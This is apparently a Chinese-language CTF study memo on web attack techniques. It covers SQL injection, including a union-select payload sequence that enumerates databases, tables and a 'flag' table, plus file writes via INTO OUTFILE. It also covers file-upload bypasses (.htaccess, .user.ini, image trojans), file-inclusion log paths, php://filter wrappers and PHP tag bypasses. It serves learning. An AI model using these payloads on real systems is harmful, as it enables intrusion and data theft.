一些详细知识点的备忘
SQL注入
1.floor类型报错注入,原理是 group by 和 random()相遇时,group by的运行方式发生变化,会两次查询,第一次查询做比较,如果不存在则尝试插入,将第二次查询结果尝试插入,因为random的随机性,第二次插入时的值较第一次发生变化,导致第二次的插入的值其实已经存在,所以报错
主键已存在
还可以进行的思考:
group by 为什么要做这样的变化,根据什么判断然后造成的变化,哪些可以造成 group by 运行机制变化
联合查询payload
1 2 3 4 5 6 7 8 9 10 11
1' order by 4 # #列数为4 -1' union select 1,2,3,4 # #查看回显位 -1' union select 1,database(),3,4 # #查看数据库 -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 # #查看当前数据库表名 -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3,4 # #查看flag表的列名 -1' union select 1,(select flag from flag),3,4 # #带入表名,列名直接查询
空格绕过
注释代替空格
/**/
->
读文件和写文件函数
注意有个配置需要打开
secure_file_priv=''
读文件
load_file()
需要知道绝对路径写文件
select 1,<?phpinfo();?> into outfile "C:\\1.txt"
文件上传
绕过类型分白名单和黑名单绕过,尝试大小写,双写?%00截断
.htaccess
.user.ini
图片马,content-type判断修改windows特性:大小写不敏感,末尾+空格,特殊字符自动去掉
末尾带
.
:畸形解析?::$DATA :保存文件时将后面的数据当做文件流处理
.user.ini
.user.ini
的作用范围是本目录,子目录无效(测试php版本 5.3.29nts)且.user.ini
就是php.ini的当前目录下的临时配置(写法规则一样),所以优先级比php.ini高CGI程序就是配置了相关路径信息,访问特定URL目录和指定文件后,根据 Shebang 行找到解释器调用解析处理,标准输出接入到socket
Apache 中的 ScriptAlias /cgi-b/ “${SRVROOT}/cgi-bin/” 指定了访问URL上的/cgi-b/目录时,会在本地${SRVROOT}/cgi-bin/下查找相应脚本(脚本后缀需要在httpd.conf注册,需要配置 Shebang 行)
FastCGI模式(猜测 会预先处理好脚本),运行脚本后不结束运行(CGI每次访问都会fork一次进程)
还有其他CGI模式
7.3.4nts 需要重启 才能生效
.htaccess
利用有条件
1.mod_rewrite模块开启。
2.AllowOverride All
构造图片马命令
copy 1.jpg/a+2.php/b 3.jpg
条件竞争
先上传再删除(移动,重命名?)
bp就可以一直上传,然后手动刷新页面访问即可
二次渲染
上传后的文件重新根据文件大小?图片规则?重新生成图片
漏洞在于重新生成的部分还是有保留部分源文件,把木马放到没被改变的地方就OK
文件包含
日志路径:
1 2 3
/var/log/apache2/access.log (access_log) error.log error_log /var/log/httpd/access.log /var/log/nginx/error.log
伪协议:
php://filter/convert.base64-encode/resource=../file.php
php://filter/read=convert.base64-encode/resource=../file.php
Python临时http服务
1 2
python2 -m SimpleHTTPServer 8000 python3 -m http.server 9000
可以访问被包含的文件,获得更多信息
BP爆破模式
sniper:按照字典顺序一个一个参数依次遍历,一个参数遍历完,再遍历下一个参数 battering ram:每个参数同时遍历同一个字典 pitchfork:多个参数同时进行遍历,只是一个选择字典1,一个选择字典2 Clusterbomb:有点像两个嵌套的for循环,参数i和参数j,i=0,然后j要从0-10全部跑完,然后i=1,然后j再从0-10跑完,一对多,多次遍历
PHP标签绕过
1 2 3 4 5
<? echo '123';?> #前提是开启配置参数short_open_tags=on <?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置 <% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用 <script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。 <?PHP ?> #大写也是可以的,EVAL函数也可以大写
XSS
<script>
标签可以部分大小写,所以可以进行绕过